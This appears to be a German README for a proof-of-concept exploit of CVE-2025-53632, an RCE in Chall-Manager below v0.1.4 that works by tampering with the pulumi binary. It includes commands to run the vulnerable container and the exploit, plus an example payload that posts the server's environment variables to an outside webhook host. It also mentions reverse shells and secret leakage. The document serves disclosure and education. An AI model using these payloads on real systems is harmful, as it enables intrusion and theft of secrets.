
Ein Exploit von CVE-2025-53632 zur Bestätigung der Ausnutzbarkeit
Dieses Repository enthält einen Exploit für CVE-2025-53632, der Chall-Manager < v0.1.4 betrifft. Die betroffenen Versionen sind eindeutig veraltet und werden höchstwahrscheinlich von niemandem mehr verwendet, daher bin ich zuversichtlich, dass es derzeit keine böswillige Ausnutzung gibt.
Dieses Repository gibt Ihnen nicht das Recht, jemanden anzugreifen, sondern dient Bildungszwecken.
[!WARNING] Die Art und Weise, wie Chall-Manager mit Szenarien umgeht, bleibt auch ohne den Zip-Slip vollständig ausnutzbar: Manipulieren Sie einfach die
pulumi-Binärdatei aus dem Szenario, sodass die nächste Ausführung Ihren beliebigen Code ausführt.
Wir demonstrieren den Angriff über Chall-Manager v0.1.3.
Stellen Sie sich einen freigegebenen Chall-Manager vor (bitte tun Sie dies nicht, da es nicht dafür gedacht ist – es ist eine App, die RCE auf Anfrage ermöglicht).
Beim Erstellen einer Challenge wird das Szenario durch eine Pulumi-Vorschau validiert. Es gibt keine Kontrolle über diesen Code selbst, sodass wir alles injizieren können.
Dazu verwendet Chall-Manager die auto-API von Pulumi, die die Pulumi-Binärdatei ausführt. Dies geschieht ohne absoluten Pfad, da erwartet wird, dass sie sich unter /pulumi/bin/pulumi befindet ( beginnt mit ).
$PATH/pulumi/binMit diesen Informationen werden wir das pulumi-Programm manipulieren, indem wir etwas Shell-Code vor seiner Ausführung injizieren. Da das Szenario dann validiert wird, wird das manipulierte pulumi-Programm ausgeführt und das Skript ausgeführt.
Mit diesem Skript können Sie nun eine Reverse Shell öffnen, durch die Infrastruktur oder innerhalb des Containers pivotieren, Geheimnisse preisgeben (z. B. in Umgebungsvariablen enthalten) oder sogar Challenge-Inhalte (z. B. die Challenge-Flag, wenn ein Szenario nicht vorgebaut wurde).
Um diese Exploit-Demo auszuführen, benötigen Sie:
Führen Sie chall-manager aus.
docker run --name chall-manager -d -p 8080:8080 ctferio/chall-manager:v0.1.3
Führen Sie main.go aus.
go run main.go --url localhost:8080
Seien Sie erfinderisch mit Ihrem Skript! Zum Beispiel können Sie Systeminformationen an Dritte senden...
go run main.go --url localhost:8080 --script 'curl -d "$(env)" https://app.beeceptor.com/console/cve-2025-53632'
Sie können den Demo-Chall-Manager-Docker-Container nach Abschluss stoppen.
docker stop chall-manager && docker rm $_